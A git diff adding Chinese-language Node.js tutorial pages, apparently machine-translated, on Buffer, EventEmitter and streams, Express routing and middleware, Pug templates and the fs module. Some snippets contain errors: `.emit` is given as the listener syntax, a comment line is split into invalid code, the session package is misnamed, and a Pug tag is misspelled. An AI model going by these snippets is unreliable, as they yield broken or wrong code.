+*   源端口（16位）： 发送方计算机上用于UDP连接的端口也称为发送端口。当与发送者IP结合使用时，它允许发送计算机创建多个独立的连接（称为多路复用）。
+    
+*   目标端口（16位）： 接收计算机上用于UDP连接的端口也称为接收端口。当与接收器IP结合时，它允许多路复用。
+    
+*   长度（16位）： 指定UDP标头和数据的长度。
+    
+*   校验和（16位）： 用于错误检查标头和数据。可选的。
+    
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/buffer/index.md b/client/src/guide/chinese/nodejs/buffer/index.md
new file mode 100644
index 0000000000..3a52161ef5
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/buffer/index.md
@@ -0,0 +1,90 @@
+---
+title: Nodejs- Buffer
+localeTitle: Nodejs-缓冲区
+---
+## 缓冲
+
+二进制只是一个集合或`1`和`0`的集合。二进制中的每个数字，一组中的每个1和0称为_一位_ 。计算机将数据转换为此二进制格式以存储和执行操作。例如，以下是五个不同的二进制文件：
+
+`10, 01, 001, 1110, 00101011`
+
+JavaScript在其核心API中没有字节类型数据。为了处理二进制数据，Node.js包括一个带有名为`Buffer`的全局模块的二进制缓冲区实现。
+
+### 创建缓冲区
+
+您可以通过不同的方式在Node.js中创建缓冲区。您可以使用10个字节的大小创建一个空缓冲区。
+
+```javascript
+const buf1 = Buffer.alloc(10); 
+```
+
+从UTF-8编码的字符串，创建如下：
+
+```javascript
+const buf2 = Buffer.from('Hello World!'); 
+```
+
+创建缓冲区时有不同的可接受编码：
+
+*   ASCII
+*   UTF-8
+*   BASE64：
+*   LATIN1
+*   二进制
+*   十六进制
+
+Buffer API中分配了三个单独的函数来使用和创建新的缓冲区。在上面的例子中，我们看到了`alloc()`和`from()` 。第三个是`allocUnsafe()` 。
+
+```javascript
+const buf3 = Buffer.allocUnsafe(10); 
+```
+
+返回时，此函数可能包含需要覆盖的旧数据。
+
+### 与缓冲区的交互
+
+可以使用Buffer API进行不同的交互。我们将在这里介绍他们中的大多数。让我们从将缓冲区转换为JSON开始。
+
+```javascript
+let bufferOne = Buffer.from('This is a buffer example.'); 
+ console.log(bufferOne); 
+ 
+ // Output: <Buffer 54 68 69 73 20 69 73 20 61 20 62 75 66 66 65 72 20 65 78 61 6d 70 6c 65 2e> 
+ 
+ let json = JSON.stringify(bufferOne); 
+ console.log(json); 
+ 
+ // Output: {"type": "Buffer", "data": [84,104,105,115,32,105,115,32,97,32,98,117,102,102,101,114,32,101,120,97,109,112,108,101,46]} 
+```
+
+JSON指定要转换的对象类型是Buffer及其数据。将空缓冲区转换为JSON将向我们显示它只包含零。
+
+```javascript
+const emptyBuf = Buffer.alloc(10); 
+ 
+ emptyBuf.toJSON(); 
+ 
+ // Output: { "type": "Buffer", "data": [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ] } 
+```
+
+请注意，Buffer API还提供了一个直接函数`toJSON()`来将缓冲区转换为JSON对象。要检查缓冲区的大小，我们可以使用`length`方法。
+
+```javascript
+emptyBuf.length; 
+ // Output: 10 
+```
+
+现在让我们将缓冲区转换为可读字符串，在我们的例子中，是utf-8编码的。
+
+```javascript
+console.log(bufferOne.toString('utf8')); 
+ 
+ // Output: This is a buffer example. 
+```
+
+`.toString()`默认情况下将缓冲区转换为utf-8格式字符串。这是解码缓冲区的方法。如果指定编码，则可以将缓冲区转换为其他编码
+
+```javascript
+console.log(bufferOne.toString('base64')); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/event-emitters/index.md b/client/src/guide/chinese/nodejs/event-emitters/index.md
new file mode 100644
index 0000000000..2f6489419e
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/event-emitters/index.md
@@ -0,0 +1,183 @@
+---
+title: Event Emitters
+localeTitle: 事件发射器
+---
+## 事件和流
+
+传统上，在Web服务器中，通过读取和写入来处理文件形式的数据会消耗更多的内存，因为这些处理方法需要在每次必须读取或写入该文件时加载文件。这被认为是浪费资源。想想看，就可扩展性和大数据而言，如果我们浪费资源，我们将会妥协很多。 Node.js异步特性为我们提供了两个合适的选项，并提供了一个消耗较少资源的数据流，因为Node.js基于非阻塞异步模型。他们正在发射事件和流。在本节中，我们将介绍它们。
+
+## EventEmitter类
+
+EventEmitters是Node.js中事件驱动编程或异步编程体系结构背后的核心思想之一。 EventEmitter是一个对象，在Node.js中，发出事件的任何对象都是EventEmitter类的实例。什么是活动？ Node.js程序采取的每个操作（例如启动Web服务器以及在没有剩余请求执行时关闭终止程序）都被视为两个单独的事件。
+
+要访问Node.js程序中的EventEmitter类，您必须要求Node.js API中的`events`模块。为了创建对象，我们通过调用其构造函数来创建EventEmitter类的实例。
+
+```js
+const events = require('events'); 
+ 
+ const eventEmitter = new events.EventEmitter(); 
+```
+
+或者您可以直接要求访问EventEmitter子类，如下所示：
+
+```js
+const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+```
+
+EventEmitter类提供各种预定义的方法来处理事件。这些方法是`.on` ， `.emit`和`.error` 。从函数发出事件可以触发一个可以被任何其他JavaScript函数访问的回调函数。这就像广播。
+
+触发事件的能力可以通过以下语法完成：
+
+```js
+eventEmitter.emit(eventName, optionalData); 
+```
+
+附加侦听器功能和定义特定事件名称的能力由`.on`完成。
+
+```js
+eventEmitter.emit(eventName, callback); 
+```
+
+我们将通过一个例子模仿我们刚刚学到的新功能。创建一个名为`eventemitter.js`的新文件并粘贴以下代码：
+
+```js
+const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+ 
+ const callback = () => { 
+    console.log('callback runs'); 
+ }; 
+ 
+ eventEmitter.on('invoke', callback); 
+ 
+ eventEmitter.emit('invoke'); 
+ eventEmitter.emit('invoke'); 
+```
+
+现在使用`node`命令运行上面的示例，您必须获得以下输出。
+
+```shell
+callback runs 
+ callback runs 
+```
+
+我们通过创建一个eventEmitter实例，通过它我们可以访问开始`.on`了方法。 `.on`方法通过定义名称`invoke`来添加事件，我们稍后在`.emit`中使用它来调用触发与之关联的回调函数。
+
+EventEmitter类提供了另一个名为`.once` 。此方法仅在发出事件时首次调用与事件关联的回调函数。考虑下面的例子。
+
+```js
+const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+ 
+ const callback = () => { 
+    console.log('callback runs'); 
+ }; 
+ 
+ eventEmitter.once('invoke', callback); 
+ 
+ eventEmitter.emit('invoke'); 
+ eventEmitter.emit('invoke'); 
+```
+
+产量
+
+```shell
+callback runs 
+```
+
+`.once`跟踪事件的触发时间以及它们被触发的次数，与`.on`方法不同，它不会像这样跟踪。这是两者之间的主要区别。
+
+## 了解流
+
+Node.js提供了另一种处理数据的方法，而不是消耗大量的内存资源并使其具有成本效益。这就是溪流。基本上，流可以让您从一个源读取数据并放入目标。 Streams以块的形式处理数据而不是一次性处理数据，因此它们适合处理大型数据集。许多内置的Node.js模块使用流引擎。例如，HTTP请求和响应，TCP套接字，zlib，加密，fs读写流等。
+
+### 流的类型
+
+在Node.js中有四种类型的流：
+
+*   可读
+*   可写
+*   复式
+*   转变
+
+其中最常见的是可读和可写流。可读流用于从源读取数据，可写流用于执行该数据到目的地的写操作。双工流可用于执行读取和写入操作。 Transform是Duplex流的超集，唯一的区别在于，在读取或写入时可以修改数据。
+
+### 流事件的类型
+
+所有这些流类型都是EventEmitter类的实例，这意味着它们发出读写事件。每种类型的流都可以发出以下事件。
+
+*   data：当可读流可读取数据时触发此事件
+*   错误：读取或写入数据时出错，将触发此事件
+*   结束：当没有数据要读取时，会触发此事件
+
+## 可读流
+
+可读流可让您从源读取数据。此源可以是缓冲区，文件等。首先，创建一个文件简单文本文件，我们将使用该流从中读取数据。
+
+```text
+I am Text file that contains data. 
+```
+
+现在，创建一个名为read.js的新文件，该文件将实现使用可读流从此文本文件中读取数据的功能。
+
+```js
+const fs = require('fs'); 
+ const readableStream = fs.createReadStream('abc.txt'); 
+ let data = ''; 
+ 
+ readableStream.on('data', function(chunk) { 
+    data += chunk; 
+ }); 
+ 
+ readableStream.on('end', function() { 
+    console.log(data); 
+ }); 
+```
+
+如果运行上述程序，您将获得以下输出：
+
+```shell
+ $ node test.js 
+ I am Text file that contains data. 
+```
+
+这是我们在文本文件中写的内容。要使用流读取数据，我们使用一个名为`createReadStream()`的函数来处理文件系统模块`fs` 。
+
+当可读流没有剩余数据要读取时，它会自动结束回调功能。 `.on`方法是我们在EventEmitter类的前一节中学到的。这表示流在后台使用EventEmitter类。
+
+## 可写流
+
+可写流用于将数据写入或插入或附加到目标。与可读流一样，它们也由`fs`模块提供。创建一个名为`wrtte.js`的新文件，其中将使用可读流从源读取数据并通过创建新的`.txt`文件将其写入目标。
+
+```js
+const fs = require('fs'); 
+ const readableStream = fs.createReadStream('./abc.txt'); 
+ const writeableStream = fs.createWriteStream('./dest.txt'); 
+ let data = ''; 
+ 
+ readableStream.on('data', function(chunk) { 
+    writeableStream.write(chunk); 
+ }); 
+```
+
+运行此程序时，可写流将创建一个新文件，因为它可以访问文件系统模块。可写流使用`.write()`方法输出目标上的数据。在上面的示例中，我们创建了一个名为`dest.txt`的新文件，该文件将包含与`abc.txt`相同的数据。
+
+## 管道
+
+管道是一种机制，通过它您可以从源读取数据并将其写入目标，而无需像上面那样编写如此多的代码，也不会使用`.on`或`.write`方法。
+
+如果我们要使用管道编写上面的示例，我们将写如下：
+
+```js
+const fs = require('fs'); 
+ const readableStream = fs.createReadStream('./abc.txt'); 
+ const writeableStream = fs.createWriteStream('./dest.txt'); 
+ 
+ readableStream.pipe(writeableStream); 
+```
+
+请注意我们删除了多少行代码。此外，我们现在只需要源文件路径和目标文件路径，以及读取和写入我们正在使用的数据`.pipe()`方法。
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/express/index.md b/client/src/guide/chinese/nodejs/express/index.md
new file mode 100644
index 0000000000..c6a0377283
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/express/index.md
@@ -0,0 +1,528 @@
+---
+title: ExpressJS
+localeTitle: ExpressJS
+---
+## ExpressJS
+
+在使用Node.js构建Web应用程序时，创建服务器可能会花费大量时间。多年来，由于社区的支持，Node.js已经足够成熟。使用Node.js作为Web应用程序和网站的后端，可以帮助开发人员快速开始处理他们的应用程序或产品。在本教程中，我们将研究Expressjs，这是一个用于Web开发的Node.js框架，它具有路由和呈现以及REST API支持等功能。
+
+## 什么是快递？
+
+Express是最受欢迎的Node.js框架，因为它需要最少的设置来启动应用程序或API，并且速度快，并且同时不受影响。换句话说，与Rails和Django不同，它没有强制执行应用程序或API应以特定方式构建的理念。它的灵活性可以通过可用的`npm`模块的数量来计算，这使得它可以同时插入。如果您具有HTML，CSS和JavaScript的基本知识以及Node.js的一般工作方式，那么您很快就可以开始使用Expressjs了。
+
+Express由TJ Holowaychuk开发，现在由Node.js基金会和开源开发人员维护。要使用Express开始开发，您需要安装Node.js和npm。您可以在本地计算机上安装[Node.js](https://nodejs.org/en/) ，然后是命令行实用程序`npm` ，它将帮助我们稍后在项目中安装插件或被称为依赖项。
+
+要检查是否所有内容都已正确安装，请打开终端并输入：
+
+```shell
+node --version 
+ v5.0.0 
+ npm --version 
+ 3.5.2 
+```
+
+如果您获得版本号而不是错误，则表示您已成功安装Node.js和npm。
+
+## 为什么要使用Expressjs？
+
+在我们开始使用Express作为后端框架的机制之前，让我们首先探讨为什么我们应该考虑使用它或它的受欢迎程度的原因。
+
+*   Express允许您构建单页，多页和混合Web和移动应用程序。其他常见的后端用途是为客户端（无论是Web还是移动）提供API。
+*   它带有一个默认模板引擎Jade，它有助于促进数据流入网站结构，并支持其他模板引擎。
+*   它支持MVC（模型 - 视图 - 控制器），这是一种非常常见的架构来设计Web应用程序。
+*   它是跨平台的，不限于任何特定的操作系统。
+*   它利用Node.js单线程和异步模型。
+
+每当我们使用`npm`创建项目时，我们的项目必须有一个`package.json`文件。
+
+### 创建package.json
+
+JSON（JavaScript Object Notation）文件包含有关任何Express项目的所有信息。安装的模块数，项目名称，版本和其他元信息。要在项目中添加Expressjs作为模块，首先我们需要创建一个项目目录，然后创建一个package.json文件。
+
+```shell
+mkdir express-app-example 
+ cd express-app-example 
+ npm init --yes 
+```
+
+这将在项目目录的根目录中生成`package.json`文件。要从`npm`安装任何模块，我们需要在该目录中存在`package.json`文件。
+
+```json
+{ 
+  "name": "express-web-app", 
+  "version": "0.1.0", 
+  "description": "", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "keywords": [], 
+  "license": "MIT" 
+ } 
+```
+
+### 安装Express
+
+现在我们有了`package.json`文件，我们可以通过运行命令来安装Express：
+
+```shell
+npm install --save express 
+```
+
+我们可以通过两种方式确认Express已正确安装。首先，在我们的Express存在的`package.json`文件中将有一个名为`dependencies`新部分：
+
+```json
+{ 
+  "name": "express-web-app", 
+  "version": "0.1.0", 
+  "description": "", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "keywords": [], 
+  "license": "MIT", 
+  "dependencies": { 
+    "express": "4.16.0" 
+  } 
+ } 
+```
+
+第二种方法是在项目目录的根目录中突然出现一个名为`node_modules`的新文件夹。此文件夹存储我们在项目中本地安装的软件包。
+
+## 使用Express构建服务器
+
+要将我们安装的包用于Express框架并创建一个简单的服务器应用程序，我们将在项目目录的根目录下创建文件`index.js` 。
+
+```javascript
+const express = require('express'); 
+ const app = express(); 
+ 
+ app.get('/', (req, res) => res.send('Hello World!')); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+```
+
+要启动服务器，请转到终端并键入：
+
+```shell
+node index.js 
+```
+
+这将启动服务器。这个极少数应用程序将侦听端口3000.我们通过浏览器在`http://localhost:3000`上发出请求，我们的服务器将使用`Hello World`响应，浏览器是客户端，消息将显示在那里。
+
+我们代码的第一行是使用`require`函数来包含`express`模块。这就是我们如何在项目的任何JavaScript文件中包含和使用从npm安装的软件包。在我们开始使用Express之前，我们需要定义一个实例来处理从服务器到客户端的请求和响应。在我们的例子中，它是变量`app` 。
+
+`app.get()`是一个函数，它告诉服务器在调用给定路由的`get`请求时该怎么做。它有一个回调函数`(req, res)` ，它监听传入的请求`req`对象并使用`res`响应对象进行相应的响应。 Express框架都可以使用`req`和`res` 。
+
+`req`对象表示HTTP请求，并具有请求查询字符串，参数，正文和HTTP标头的属性。 res对象表示Express应用程序在收到HTTP请求时发送的HTTP响应。在我们的例子中，每当请求路由`/`时，我们都会发送一个文本`Hello World` 。
+
+最后， `app.listen()`是启动端口和主机的函数，在我们的例子中是`localhost`用于侦听来自客户端的传入请求的连接。我们可以定义端口号，例如`3000` 。
+
+## 快速应用剖析
+
+Express服务器文件的典型结构很可能包含以下部分：
+
+**依赖**
+
+导入表达本身等依赖项。使用`npm`安装这些依赖项，就像我们在前面的示例中所做的那样。
+
+**实例**
+
+这些是创建对象的语句。要使用express，我们必须从中实例化`app`变量。
+
+**配置**
+
+这些语句是基于自定义应用程序的设置，它们是在实例化之后定义的，或者在单独的文件中定义（在讨论项目结构时更多内容）并且在我们的主服务器文件中是必需的。
+
+**中间件**
+
+这些函数确定请求 - 响应周期的流程。它们在每次传入请求后执行。我们还可以定义自定义中间件功能。我们在下面有关于它们的部分。
+
+**路线**
+
+它们是我们的服务器中定义的端点，有助于执行特定客户端请求的操作。
+
+**引导服务器**
+
+在Express服务器中执行的最后一个是`app.listen()`函数，它启动我们的服务器。
+
+我们现在开始讨论我们之前没有讨论过的部分。
+
+## 路由
+
+路由是指服务器端应用程序如何响应对特定端点的客户端请求。此端点由URI（诸如`/`或`/books`类的路径）和HTTP方法（如GET，POST，PUT，DELETE等）组成。
+
+路由可以是良好的旧网页或REST API端点。在这两种情况下，语法类似于路由的语法可以定义为：
+
+```javascript
+app.METHOD(PATH, HANDLER); 
+```
+
+路由器有助于分离诸如不同端点之类的关注点并将源代码的相关部分保持在一起。它们有助于构建可维护的代码。所有路由都是在`app.listen()`函数调用之前定义的。在典型的Express应用程序中， `app.listen()`将是最后执行的函数。
+
+### 路由方法
+
+HTTP是客户端和服务器进行通信的标准协议。它为客户端提供了不同的请求方法。每条路线至少具有hanlder功能或回调功能。此回调函数确定服务器对该特定路由的响应。例如， `app.get()`的路由用于处理GET请求，并作为响应发送简单消息。
+
+```javascript
+// GET method route 
+ app.get('/', (req, res) => res.send('Hello World!')); 
+```
+
+### 路由路径
+
+路由路径是请求方法的组合，用于定义客户端可以发出请求的端点。路径路径可以是字符串，字符串模式或正则表达式。
+
+让我们在基于服务器的应用程序中定义另外两个端点。
+
+```javascript
+app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ app.get('/about', (req, res) => { 
+  res.send('About'); 
+ }); 
+```
+
+将上面的代码视为最低限度的网站，它有两个端点， `/home`和`/about` 。如果客户端发出主页请求，它将仅响应`Home Page`并且在`/about`它将发送响应： `About Page` 。如果选择了定义的两个路由中的任何一个，我们使用`res.send`函数将字符串发送回客户端。
+
+### 路由参数
+
+路径参数是命名的URL段，用于捕获在URL中的位置指定的值。在这种情况下使用`req.params`对象，因为它可以访问url中传递的所有参数。
+
+```javascript
+app.get('/books/:bookId', (req, res) => { 
+  res.send(req.params); 
+ }); 
+```
+
+上述源代码中客户端的请求URL为`http://localhost:3000/books/23` 。路由参数的名称必须由字符组成（\[A-Za-z0-9\_\]）。在我们的应用程序中，路由参数的一般用例是具有404路由。
+
+```javascript
+// For invalid routes 
+ app.get('*', (req, res) => { 
+  res.send('404! This is an invalid URL.'); 
+ }); 
+```
+
+如果我们现在使用`node index.js`从命令行启动服务器并尝试访问URL： `http://localhost:3000/abcd` 。作为回应，我们将收到404消息。
+
+## 中间件功能
+
+中间件函数是那些可以访问请求对象（ `req` ），响应对象（ `res` ）以及应用程序请求 - 响应周期中的`next`函数的函数。这些函数的目标是修改任务的请求和响应对象，如解析请求体，添加响应头，对请求 - 响应周期进行其他更改，结束请求 - 响应周期以及调用下一个中间件函数。
+
+`next`功能是Express路由器中的一个功能，用于执行当前中间件之后的其他中间件功能。如果中间件函数确实包含`next()` ，则意味着请求 - 响应周期在那里结束。函数`next()`的名称完全是仲裁的，你可以随意命名，但是坚持最佳实践并尝试遵循一些约定很重要，特别是如果你正在与其他开发人员合作。
+
+此外，在编写自定义中间件时，不要忘记向其添加`next()`函数。如果你没有提到`next()` ，请求 - 响应周期将在不知名的地方挂起，你的servr可能导致客户端超时。
+
+让我们使用创建自定义中间件功能来掌握对这个概念的理解。以此代码为例：
+
+```javascript
+const express = require('express'); 
+ const app = express(); 
+ 
+ // Simple request time logger 
+ app.use((req, res, next) => { 
+   console.log("A new request received at " + Date.now()); 
+ 
+   // This function call tells that more processing is 
+   // required for the current request and is in the next middleware 
+   function/route handler. 
+   next(); 
+ }); 
+ 
+ app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ 
+ app.get('/about', (req, res) => { 
+  res.send('About Page'); 
+ }); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+```
+
+要设置任何中间件，无论是自定义还是可用作npm模块，我们都使用`app.use()`函数。它作为一个可选参数路径和一个必需参数回调。在我们的例子中，我们没有使用可选的参数路​​径。
+
+```javascript
+app.use((req, res, next) => { 
+  console.log('A new request received at ' + Date.now()); 
+  next(); 
+ }); 
+```
+
+为客户端发出的每个请求调用上述中间件函数。运行服务器时，您会注意到，对于端点`/`上的每个浏览器请求，您将在终端中看到一条消息：
+
+```shell
+A new request received at 1467267512545 
+```
+
+中间件功能可用于特定路由。请参阅以下示例：
+
+```javascript
+const express = require('express'); 
+ const app = express(); 
+ 
+ //Simple request time logger for a specific route 
+ app.use('/home', (req, res, next) => { 
+  console.log('A new request received at ' + Date.now()); 
+  next(); 
+ }); 
+ 
+ app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ 
+ app.get('/about', (req, res) => { 
+  res.send('About Page'); 
+ }); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+```
+
+这次，当客户端请求端点`/home`时，您将只看到类似的提示，因为`app.use()`提到了该路由。当客户端请求端点`/about`时，终端中不会显示任何`/about` 。
+
+中间件函数的顺序很重要，因为它们定义何时调用哪个中间件函数。在上面的例子中，如果我们在中间件`app.use('/home')...`之前定义路由`app.get('/home')...` `app.use('/home')...` ，则不会调用中间件函数。
+
+### 第三方中间件功能
+
+中间件功能是有用的模式，允许开发人员在其应用程序中重用代码，甚至以NPM模块的形式与其他人共享。中间件的基本定义是一个带有三个参数的函数：request（或req），response（res），以及我们在上一节中观察到的next。
+
+通常在我们的基于Express的服务器应用程序中，我们将使用第三方中间件功能。这些功能由Express本身提供。它们就像可以使用npm安装的插件，这就是Express灵活的原因。
+
+Express应用程序中一些最常用的中间件功能是：
+
+#### bodyParser
+
+它允许开发人员处理传入的数据，例如正文有效负载。有效负载只是我们从要处理的客户端接收的数据。对POST方法最有用。它安装使用：
+
+```shell
+npm install --save body-parser 
+```
+
+用法：
+
+```javascript
+const bodyParser = require('body-parser'); 
+ 
+ // To parse URL encoded data 
+ app.use(bodyParser.urlencoded({ extended: false })); 
+ 
+ // To parse json data 
+ app.use(bodyParser.json()); 
+```
+
+它可能是任何Express应用程序中最常用的第三方中间件功能之一。
+
+#### cookieParser
+
+它解析Cookie标头并使用由cookie名称键入的对象填充`req.cookies` 。要安装它，
+
+```shell
+$ npm install --save cookie-parser 
+```
+
+```javascript
+const cookieParser = require('cookie-parser'); 
+ app.use(cookieParser()); 
+```
+
+#### 会议
+
+此中间件功能使用给定选项创建会话中间件。会话通常用于登录/注册等应用程序。
+
+```shell
+$ npm install --save session 
+```
+
+```javascript
+app.use( 
+  session({ 
+    secret: 'arbitary-string', 
+    resave: false, 
+    saveUninitialized: true, 
+    cookie: { secure: true } 
+  }) 
+ ); 
+```
+
+### 摩根
+
+摩根中间件根据指定的输出格式跟踪所有请求和其他重要信息。
+
+```shell
+npm install --save morgan 
+```
+
+```javascript
+const logger = require('morgan'); 
+ // ... Configurations 
+ app.use(logger('common')); 
+```
+
+`common`是预定义格式的案例，您可以在应用程序中使用它。还有其他预定义格式，例如tiny和dev，但您也可以使用morgan可用的字符串参数定义您自己的自定义格式。
+
+此[链接](https://expressjs.com/en/resources/middleware.html)提供了最常用的中间件功能列表。
+
+## 提供静态文件
+
+提供静态文件，如CSS样式表，图像等.Express提供了一个内置的中间件函数`express.static` 。静态文件是客户端从服务器下载的那些文件。
+
+它是Express框架附带的唯一中间件功能，我们可以直接在我们的应用程序中使用它。所有其他中间件都是第三方。
+
+默认情况下，Express不允许提供静态文件。我们必须使用这个中间件功能。开发Web应用程序的一种常见做法是将所有静态文件存储在项目根目录下的“public”目录下。我们可以通过在`index.js`文件中写入来提供此文件夹以提供静态文件：
+
+```javascript
+app.use(express.static('public')); 
+```
+
+现在，将加载公共目录中的静态文件。
+
+```shell
+http://localhost:3000/css/style.css 
+ http://localhost:3000/images/logo.png 
+ http://localhost:3000/images/bg.png 
+ http://localhost:3000/index.html 
+```
+
+### 多个静态目录
+
+要使用多个静态资产目录，请多次调用`express.static`中间件函数：
+
+```javascript
+app.use(express.static('public')); 
+ app.use(express.static('files')); 
+```
+
+### 虚拟路径前缀
+
+还可以提供修复路径前缀作为`express.static`中间件功能的第一个参数。这称为_虚拟路径前缀，_因为项目中不存在实际路径。
+
+```javascript
+app.use('/static', express.static('public')); 
+```
+
+如果我们现在尝试加载文件：
+
+```shell
+http://localhost:3000/static/css/style.css 
+ http://localhost:3000/static/images/logo.png 
+ http://localhost:3000/static/images/bg.png 
+ http://localhost:3000/static/index.html 
+```
+
+当提供多个目录来提供静态文件时，这种技术会派上用场。前缀用于帮助区分多个目录。
+
+## 模板引擎
+
+模板引擎是允许我们使用不同模板语言的库。模板语言是一组特殊的指令（语法和控制结构），用于指示引擎如何处理数据。使用Express可以轻松使用模板引擎。流行的模板引擎，如Pug，EJS，Swig和Handlebars与Express兼容。但是，Express附带了一个默认模板引擎Jade，这是Pug的第一个发布版本。
+
+为了演示如何使用模板引擎，我们将使用Pug。它是一个功能强大的模板引擎，提供过滤器，包含，插值等功能。要使用它，我们必须首先使用`npm`作为模块安装在我们的项目中。
+
+```shell
+npm install --save pug 
+```
+
+此命令将安装pug并验证安装是否正确，只需查看`package.json`文件即可。要首先将它与我们的应用程序一起使用，我们必须将其设置为模板引擎并创建一个新目录“./views”，我们将存储与模板引擎相关的所有文件。
+
+```javascript
+app.set('view engine', 'pug'); 
+ app.set('views', './views'); 
+```
+
+由于我们使用`app.set()`来指示我们的服务器文件中的配置，因此我们必须在定义任何路由或中间件函数之前放置它们。
+
+在`views` ，创建名为`index.pug`文件。
+
+```pug
+doctype html 
+  html 
+    head 
+      tite="Hello from Pug" 
+    body 
+      p.greetings Hello World! 
+```
+
+要运行此页面，我们将向应用程序添加以下路由。
+
+```javascript
+app.get('/hello', (req, res) => { 
+  res.render('index'); 
+ }); 
+```
+
+由于我们已经将Pug设置为我们的模板引擎，因此在`res.render`我们不必提供`.pug`扩展名。此函数将任何`.pug`文件中的代码呈现为HTML，以供客户端显示。浏览器只能呈现HTML文件。如果您现在启动服务器，并访问路由`http://localhost:3000/hello`您将看到正确呈现的输出`Hello World` 。
+
+在Pug中，您必须注意我们不必像在HTML中那样将结束标记写入元素。上面的代码将呈现为HTML格式：
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+   <head> 
+      <title>Hello from Pug</title> 
+   </head> 
+ 
+   <body> 
+      <p class = "greetings">Hello World!</p> 
+   </body> 
+ </html> 
+```
+
+使用模板引擎优于原始HTML文件的优点是它们为执行数据任务提供支持。 HTML无法直接呈现数据。 Angular和React等框架与模板引擎共享此行为。
+
+您还可以直接从路径处理函数将值传递给模板引擎。
+
+```javascript
+app.get('/', (req, res) => { 
+  res.render('index', { title: 'Hello from Pug', message: 'Hello World!' }); 
+ }); 
+```
+
+对于上面的情况，我们的`index.pug`文件将写为：
+
+```pug
+doctype html 
+  html 
+    head 
+      title= title 
+    body 
+      h1= message 
+```
+
+输出将与先前的情况相同。
+
+## Express App的项目结构
+
+由于Express不会对使用它的开发人员施加太多强制，因此有时它会对应该遵循的项目结构有点压倒性。它没有正式定义的结构，但任何基于Node.js的应用程序遵循的最常见用例是分离不同模块中的不同任务。这意味着拥有单独的JavaScript文件。
+
+让我们看一下基于Express的Web应用程序的典型结构。
+```
+project-root/ 
+   node_modules/          // This is where the packages installed are stored 
+   config/ 
+      db.js                // Database connection and configuration 
+      credentials.js       // Passwords/API keys for external services used by your app 
+      config.js            // Environment variables 
+   models/                 // For mongoose schemas 
+      books.js 
+      things.js 
+   routes/                 // All routes for different entities in different files 
+      books.js 
+      things.js 
+   views/ 
+      index.pug 
+      404.pug 
+        ... 
+   public/                 // All static files 
+      images/ 
+      css/ 
+      javascript/ 
+   app.js 
+   routes.js               // Require all routes in this and then require this file in 
+   app.js 
+   package.json 
+```
+
+这种模式通常称为MVC，模型 - 视图 - 控制器。仅仅因为我们的数据库模型，应用程序的UI和控制器（在我们的例子中是路由）被编写并存储在单独的文件中。如果您希望将来引入更多路由或静态文件并且代码可维护，则此设计模式可使任何Web应用程序易于扩展。
\ No newline at end of file
diff --git a/client/src/guide/chinese/nodejs/file-system/index.md b/client/src/guide/chinese/nodejs/file-system/index.md
new file mode 100644
index 0000000000..9a4e55d08c
--- /dev/null
+++ b/client/src/guide/chinese/nodejs/file-system/index.md
@@ -0,0 +1,82 @@
+##localeTitle: undefined
+ 文件系统
+
+Node.js文件系统模块允许您使用计算机上的文件系统。
+
+Node.js有一组内置模块，无需进一步安装即可使用。类似地， **文件系统模块**包含一组函数，这些函数是对文件执行不同操作（如读写操作）所必需的。
+
+要包含模块，请使用`require()`函数和模块名称。
+
+```javascript
+const fs = require('fs'); 
+```
+
+文件系统模块的常用用法：
+
+*   读取文件
+*   创建文件
+*   更新文件
+*   删除文件
+*   重命名文件
+
+## 读一个文件
+
+`fs.readFile()`方法用于读取计算机上的文件。它需要三个参数 - 文件名，编码和回调函数。
+
+Node.js代码从您的计算机读取文件并将内容返回到控制台。
+
+```javascript
+const fs = require('fs'); 
+ fs.readFile('input.txt', 'utf-8', (err, data) => { 
+  if(err){ 
+  console.log(err); 
+  } 
+  else{ 
+  console.log("Content present in input.txt file : " + data.toString()); 
+  } 
+ }); 
+```
+
+上面的代码从您的计算机读取文件_input.txt_并将内容返回到控制台。
+
+### 执行步骤：
+
+*   您应该在计算机中安装Node.js.
+*   创建一个_app.js_文件并粘贴上面的代码。
+*   创建一个文件_input.txt_并将一些内容写入其中。
+*   现在打开工作目录中的控制台并执行命令`node app.js`
+
+_注意_ ：input.txt文件应该存在于Node.js代码文件所在的同一目录中，否则会引发错误。
+
+## 写在一个文件中
+
+`fs.writeFile()`方法有三个参数 - 文件名，内容和回调函数。
+
+Node.js代码将内容写入文件。
+
+```javascript
+const fs = require('fs'); 
+ fs.writeFile('output.txt', "New content added", (err, data) => { 
+    if(err){ 
+        console.log(err); 
+    } 
+    else{ 
+        console.log("The file is saved"); 
+    } 
+ }); 
+```
+
+上面的代码创建了一个文件_output.txt_并添加了_添加_到其中的_新内容_ 。
+
+### 执行步骤：
+
+*   您应该在计算机中安装Node.js.
+*   创建一个_app.js_文件并粘贴上面的代码。
+*   现在打开工作目录中的控制台并执行命令`node app.js`
+
+_注意_ ：如果file不存在，则`fs.writeFile()`方法创建一个文件并将内容写入其中。相反，如果文件存在，那么它将覆盖文件中的内容。
+
+## 资源
+
+*   [Node.js API](https://nodejs.org/api/fs.html#fs_file_system)
+*   [W3学校](https://www.w3schools.com/nodejs/nodejs_filesystem.asp)
\ No newline at end of file
